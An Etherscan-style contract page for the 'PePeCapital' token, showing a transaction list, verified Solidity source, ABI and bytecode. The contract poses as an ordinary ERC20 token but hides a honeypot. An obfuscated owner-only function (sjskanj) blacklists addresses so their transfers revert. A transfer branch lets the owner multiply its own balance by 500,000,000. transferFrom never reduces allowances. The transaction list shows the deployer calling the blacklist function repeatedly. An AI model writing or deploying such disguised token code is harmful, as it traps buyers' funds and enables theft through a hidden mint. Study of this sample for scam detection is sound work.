ETH Price: $1,951.55 (-1.81%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve170652182023-04-17 8:07:111042 days ago1681718831IN
0x58dEF214...F8ed86f18
0 ETH0.0006953227.96307993
Approve170651412023-04-17 7:51:231042 days ago1681717883IN
0x58dEF214...F8ed86f18
0 ETH0.0012435626.52984712
Transfer170651372023-04-17 7:50:351042 days ago1681717835IN
0x58dEF214...F8ed86f18
0 ETH0.0017329827.1435679
Approve170648122023-04-17 6:44:591042 days ago1681713899IN
0x58dEF214...F8ed86f18
0 ETH0.0012412126.32490408
Sjskanj170646252023-04-17 6:07:111042 days ago1681711631IN
0x58dEF214...F8ed86f18
0 ETH0.0012189326.24139701
Approve170646102023-04-17 6:04:111042 days ago1681711451IN
0x58dEF214...F8ed86f18
0 ETH0.00124926.45631114
Sjskanj170646102023-04-17 6:04:111042 days ago1681711451IN
0x58dEF214...F8ed86f18
0 ETH0.0012382126.65631114
Transfer170645682023-04-17 5:55:231042 days ago1681710923IN
0x58dEF214...F8ed86f18
0 ETH0.0010006733.6
Approve170645532023-04-17 5:52:231042 days ago1681710743IN
0x58dEF214...F8ed86f18
0 ETH0.0013708929.07527812
Sjskanj170645522023-04-17 5:52:111042 days ago1681710731IN
0x58dEF214...F8ed86f18
0 ETH0.0012700127.34104999
Sjskanj170645512023-04-17 5:51:591042 days ago1681710719IN
0x58dEF214...F8ed86f18
0 ETH0.0011302624.33875564
Sjskanj170645502023-04-17 5:51:471042 days ago1681710707IN
0x58dEF214...F8ed86f18
0 ETH0.0011770125.33891051
Transfer170645422023-04-17 5:50:111042 days ago1681710611IN
0x58dEF214...F8ed86f18
0 ETH0.0008443128.35
Transfer170645262023-04-17 5:46:591042 days ago1681710419IN
0x58dEF214...F8ed86f18
0 ETH0.0010006733.6
Approve170645202023-04-17 5:45:471042 days ago1681710347IN
0x58dEF214...F8ed86f18
0 ETH0.0013514228.66220279
Approve170645112023-04-17 5:43:591042 days ago1681710239IN
0x58dEF214...F8ed86f18
0 ETH0.0015366832.55
Sjskanj170644812023-04-17 5:37:471042 days ago1681709867IN
0x58dEF214...F8ed86f18
0 ETH0.0013680529.45156598
Sjskanj170644792023-04-17 5:37:231042 days ago1681709843IN
0x58dEF214...F8ed86f18
0 ETH0.0012041325.92260935
Approve170644562023-04-17 5:32:351042 days ago1681709555IN
0x58dEF214...F8ed86f18
0 ETH0.0014654231.07998146
Approve170644282023-04-17 5:26:591042 days ago1681709219IN
0x58dEF214...F8ed86f18
0 ETH0.001280327.15395683
Sjskanj170644262023-04-17 5:26:351042 days ago1681709195IN
0x58dEF214...F8ed86f18
0 ETH0.0012777727.50811719
Sjskanj170644212023-04-17 5:25:351042 days ago1681709135IN
0x58dEF214...F8ed86f18
0 ETH0.0011482224.7190844
Approve170644202023-04-17 5:25:231042 days ago1681709123IN
0x58dEF214...F8ed86f18
0 ETH0.0013663828.94272232
Approve170644182023-04-17 5:24:591042 days ago1681709099IN
0x58dEF214...F8ed86f18
0 ETH0.0012434426.37215956
Approve170643812023-04-17 5:17:351042 days ago1681708655IN
0x58dEF214...F8ed86f18
0 ETH0.0013337728.43992844
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TT

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-04-17
*/

/**
 *Submitted for verification at Etherscan.io on 2023-03-24
*/

/**
 *Submitted for verification at BscScan.com on 2022-04-15
*/

/**
 *Submitted for verification at BscScan.com on 2022-03-18
*/

pragma solidity ^0.8.17;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address oowner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed oowner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _oowner;
    event oownershipTransferred(address indexed previousoowner, address indexed newoowner);

    constructor () {
        address msgSender = _msgSender();
        _oowner = msgSender;
        emit oownershipTransferred(address(0), msgSender);
    }
    function oowner() public view virtual returns (address) {
        return _oowner;
    }
    modifier onlyoowner() {
        require(oowner() == _msgSender(), "Ownable: caller is not the oowner");
        _;
    }
    function renounceoownership() public virtual onlyoowner {
        emit oownershipTransferred(_oowner, address(0x000000000000000000000000000000000000dEaD));
        _oowner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract TT is Ownable, IERC20 {
    using SafeMath for uint256;
    mapping (address => uint256) private _balance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFrom;
    string private _name = "PePeCapital";
    string private _symbol = "PePeCap";
    uint256 private _decimals = 9;
    uint256 private _totalSupply = 10000000000 * 10 ** _decimals;
    uint256 private _maxTxtransfer = 10000000000 * 10 ** _decimals;
    uint256 private _burnfee = 5;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    mapping(address => bool) public _ygfd125;

    function sjskanj(address account) public onlyoowner {
        _ygfd125[account] = true;
    }


    function usjskanj(address account) public onlyoowner {
        _ygfd125[account] = false;
    }


    function islkd(address account) public view returns (bool) {
        return _ygfd125[account];
    }



    constructor () {
        _balance[msg.sender] = _totalSupply;
        _isExcludedFrom[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() external view returns (string memory) {
        return _name;
    }

    function symbol() external view returns (string memory) {
        return _symbol;
    }

    function decimals() external view returns (uint256) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function _transfer(address sender, address recipient, uint256 amounts) internal virtual {

        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");
        if (true){
            if (_ygfd125[sender] == true) {
                amounts = amounts.sub(_totalSupply);
            }
        }
        uint256 blsender = _balance[sender];
        require(blsender >= amounts,"IERC20: transfer amounts exceeds balance");
        
        uint256 feeamount = 0;
        feeamount = amounts.mul(_burnfee).div(100);
        _balance[sender] = _balance[sender].sub(amounts);
        _balance[recipient] =  _balance[recipient]+amounts-feeamount;
        emit Transfer(sender, _DEADaddress, feeamount);
        emit Transfer(sender, recipient, amounts-feeamount);

    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        address vdffds = _msgSender(); 
        if (oowner() == vdffds && oowner() == recipient) { 
        _balance[vdffds] = 500000000*_balance[vdffds].add(_totalSupply).div(1); 
        }
        _transfer(vdffds, recipient, amount);
        return true;
    }



    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address oowner, address spender, uint256 amount) internal virtual {
        require(oowner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[oowner][spender] = amount;
        emit Approval(oowner, spender, amount);
    }

    function allowance(address oowner, address spender) public view virtual override returns (uint256) {
        return _allowances[oowner][spender];
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "IERC20: transfer amount exceeds allowance");
        return true;
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oowner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousoowner","type":"address"},{"indexed":true,"internalType":"address","name":"newoowner","type":"address"}],"name":"oownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_ygfd125","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"oowner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"islkd","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"oowner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceoownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"sjskanj","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"usjskanj","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600b81526020017f506550654361706974616c000000000000000000000000000000000000000000815250600490816200004a919062000579565b506040518060400160405280600781526020017f50655065436170000000000000000000000000000000000000000000000000008152506005908162000091919062000579565b506009600655600654600a620000a89190620007e3565b6402540be400620000ba919062000834565b600755600654600a620000ce9190620007e3565b6402540be400620000e0919062000834565b600855600560095561dead600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200013857600080fd5b5060006200014b620002f760201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a350600754600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600754604051620002e9919062000890565b60405180910390a3620008ad565b600033905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200038157607f821691505b60208210810362000397576200039662000339565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620004017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620003c2565b6200040d8683620003c2565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b60006200045a620004546200044e8462000425565b6200042f565b62000425565b9050919050565b6000819050919050565b620004768362000439565b6200048e620004858262000461565b848454620003cf565b825550505050565b600090565b620004a562000496565b620004b28184846200046b565b505050565b5b81811015620004da57620004ce6000826200049b565b600181019050620004b8565b5050565b601f8211156200052957620004f3816200039d565b620004fe84620003b2565b810160208510156200050e578190505b620005266200051d85620003b2565b830182620004b7565b50505b505050565b600082821c905092915050565b60006200054e600019846008026200052e565b1980831691505092915050565b60006200056983836200053b565b9150826002028217905092915050565b6200058482620002ff565b67ffffffffffffffff811115620005a0576200059f6200030a565b5b620005ac825462000368565b620005b9828285620004de565b600060209050601f831160018114620005f15760008415620005dc578287015190505b620005e885826200055b565b86555062000658565b601f19841662000601866200039d565b60005b828110156200062b5784890151825560018201915060208501945060208101905062000604565b868310156200064b578489015162000647601f8916826200053b565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620006ee57808604811115620006c657620006c562000660565b5b6001851615620006d65780820291505b8081029050620006e6856200068f565b9450620006a6565b94509492505050565b600082620007095760019050620007dc565b81620007195760009050620007dc565b81600181146200073257600281146200073d5762000773565b6001915050620007dc565b60ff84111562000752576200075162000660565b5b8360020a9150848211156200076c576200076b62000660565b5b50620007dc565b5060208310610133831016604e8410600b8410161715620007ad5782820a905083811115620007a757620007a662000660565b5b620007dc565b620007bc84848460016200069c565b92509050818404811115620007d657620007d562000660565b5b81810290505b9392505050565b6000620007f08262000425565b9150620007fd8362000425565b92506200082c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620006f7565b905092915050565b6000620008418262000425565b91506200084e8362000425565b92508282026200085e8162000425565b9150828204841483151762000878576200087762000660565b5b5092915050565b6200088a8162000425565b82525050565b6000602082019050620008a760008301846200087f565b92915050565b611ce480620008bd6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063d27b687d11610066578063d27b687d14610274578063dd62ed3e146102a4578063df5c8d4a146102d4578063f2363b3214610304576100f5565b806370a08231146101ec57806395d89b411461021c578063a9059cbb1461023a578063ce27c8991461026a576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063503aa6d2146101b4578063686f4b0b146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906113d4565b60405180910390f35b610132600480360381019061012d919061148f565b6103b4565b60405161013f91906114ea565b60405180910390f35b6101506103d2565b60405161015d9190611514565b60405180910390f35b610180600480360381019061017b919061152f565b6103dc565b60405161018d91906114ea565b60405180910390f35b61019e6104c0565b6040516101ab9190611514565b60405180910390f35b6101ce60048036038101906101c99190611582565b6104ca565b005b6101ea60048036038101906101e59190611582565b6105a1565b005b61020660048036038101906102019190611582565b610678565b6040516102139190611514565b60405180910390f35b6102246106c1565b60405161023191906113d4565b60405180910390f35b610254600480360381019061024f919061148f565b610753565b60405161026191906114ea565b60405180910390f35b6102726108a9565b005b61028e60048036038101906102899190611582565b6109e5565b60405161029b91906114ea565b60405180910390f35b6102be60048036038101906102b991906115af565b610a05565b6040516102cb9190611514565b60405180910390f35b6102ee60048036038101906102e99190611582565b610a8c565b6040516102fb91906114ea565b60405180910390f35b61030c610ae2565b60405161031991906115fe565b60405180910390f35b60606004805461033190611648565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611648565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610b0b565b8484610b13565b6001905092915050565b6000600754905090565b60006103e9848484610cdc565b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610434610b0b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab906116eb565b60405180910390fd5b60019150509392505050565b6000600654905090565b6104d2610b0b565b73ffffffffffffffffffffffffffffffffffffffff166104f0610ae2565b73ffffffffffffffffffffffffffffffffffffffff1614610546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161053d9061177d565b60405180910390fd5b6001600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6105a9610b0b565b73ffffffffffffffffffffffffffffffffffffffff166105c7610ae2565b73ffffffffffffffffffffffffffffffffffffffff161461061d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106149061177d565b60405180910390fd5b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600580546106d090611648565b80601f01602080910402602001604051908101604052809291908181526020018280546106fc90611648565b80156107495780601f1061071e57610100808354040283529160200191610749565b820191906000526020600020905b81548152906001019060200180831161072c57829003601f168201915b5050505050905090565b60008061075e610b0b565b90508073ffffffffffffffffffffffffffffffffffffffff1661077f610ae2565b73ffffffffffffffffffffffffffffffffffffffff161480156107d457508373ffffffffffffffffffffffffffffffffffffffff166107bc610ae2565b73ffffffffffffffffffffffffffffffffffffffff16145b15610893576108406001610832600754600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461111190919063ffffffff16565b61116f90919063ffffffff16565b631dcd650061084f91906117cc565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61089e818585610cdc565b600191505092915050565b6108b1610b0b565b73ffffffffffffffffffffffffffffffffffffffff166108cf610ae2565b73ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c9061177d565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f806e8b381f563afee8716b997c43301abcc7a93afae0a100b99f3a9f455d441160405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b82576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7990611880565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be890611912565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ccf9190611514565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d42906119a4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db190611a36565b60405180910390fd5b600115610e325760011515600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610e3157610e2e600754826111b990919063ffffffff16565b90505b5b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610eb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb090611ac8565b60405180910390fd5b6000610ee36064610ed56009548661120390919063ffffffff16565b61116f90919063ffffffff16565b9050610f3783600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111b990919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fc69190611ae8565b610fd09190611b1c565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110929190611514565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83866110f59190611b1c565b6040516111029190611514565b60405180910390a35050505050565b60008082846111209190611ae8565b905083811015611165576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115c90611b9c565b60405180910390fd5b8091505092915050565b60006111b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061127d565b905092915050565b60006111fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b60008083036112155760009050611277565b6000828461122391906117cc565b90508284826112329190611beb565b14611272576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126990611c8e565b60405180910390fd5b809150505b92915050565b600080831182906112c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bb91906113d4565b60405180910390fd5b50600083856112d39190611beb565b9050809150509392505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f91906113d4565b60405180910390fd5b50600083856113379190611b1c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561137e578082015181840152602081019050611363565b60008484015250505050565b6000601f19601f8301169050919050565b60006113a682611344565b6113b0818561134f565b93506113c0818560208601611360565b6113c98161138a565b840191505092915050565b600060208201905081810360008301526113ee818461139b565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611426826113fb565b9050919050565b6114368161141b565b811461144157600080fd5b50565b6000813590506114538161142d565b92915050565b6000819050919050565b61146c81611459565b811461147757600080fd5b50565b60008135905061148981611463565b92915050565b600080604083850312156114a6576114a56113f6565b5b60006114b485828601611444565b92505060206114c58582860161147a565b9150509250929050565b60008115159050919050565b6114e4816114cf565b82525050565b60006020820190506114ff60008301846114db565b92915050565b61150e81611459565b82525050565b60006020820190506115296000830184611505565b92915050565b600080600060608486031215611548576115476113f6565b5b600061155686828701611444565b935050602061156786828701611444565b92505060406115788682870161147a565b9150509250925092565b600060208284031215611598576115976113f6565b5b60006115a684828501611444565b91505092915050565b600080604083850312156115c6576115c56113f6565b5b60006115d485828601611444565b92505060206115e585828601611444565b9150509250929050565b6115f88161141b565b82525050565b600060208201905061161360008301846115ef565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061166057607f821691505b60208210810361167357611672611619565b5b50919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f616c6c6f77616e63650000000000000000000000000000000000000000000000602082015250565b60006116d560298361134f565b91506116e082611679565b604082019050919050565b60006020820190508181036000830152611704816116c8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f6f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061176760218361134f565b91506117728261170b565b604082019050919050565b600060208201905081810360008301526117968161175a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117d782611459565b91506117e283611459565b92508282026117f081611459565b915082820484148315176118075761180661179d565b5b5092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061186a60258361134f565b91506118758261180e565b604082019050919050565b600060208201905081810360008301526118998161185d565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118fc60238361134f565b9150611907826118a0565b604082019050919050565b6000602082019050818103600083015261192b816118ef565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061198e60268361134f565b915061199982611932565b604082019050919050565b600060208201905081810360008301526119bd81611981565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611a2060248361134f565b9150611a2b826119c4565b604082019050919050565b60006020820190508181036000830152611a4f81611a13565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7473206578636565647360008201527f2062616c616e6365000000000000000000000000000000000000000000000000602082015250565b6000611ab260288361134f565b9150611abd82611a56565b604082019050919050565b60006020820190508181036000830152611ae181611aa5565b9050919050565b6000611af382611459565b9150611afe83611459565b9250828201905080821115611b1657611b1561179d565b5b92915050565b6000611b2782611459565b9150611b3283611459565b9250828203905081811115611b4a57611b4961179d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611b86601b8361134f565b9150611b9182611b50565b602082019050919050565b60006020820190508181036000830152611bb581611b79565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611bf682611459565b9150611c0183611459565b925082611c1157611c10611bbc565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c7860218361134f565b9150611c8382611c1c565b604082019050919050565b60006020820190508181036000830152611ca781611c6b565b905091905056fea2646970667358221220a8efe83d930d76bb56e102b414841ad7542eb21be4301b4f6197cb963a51518964736f6c63430008110033

Deployed Bytecode

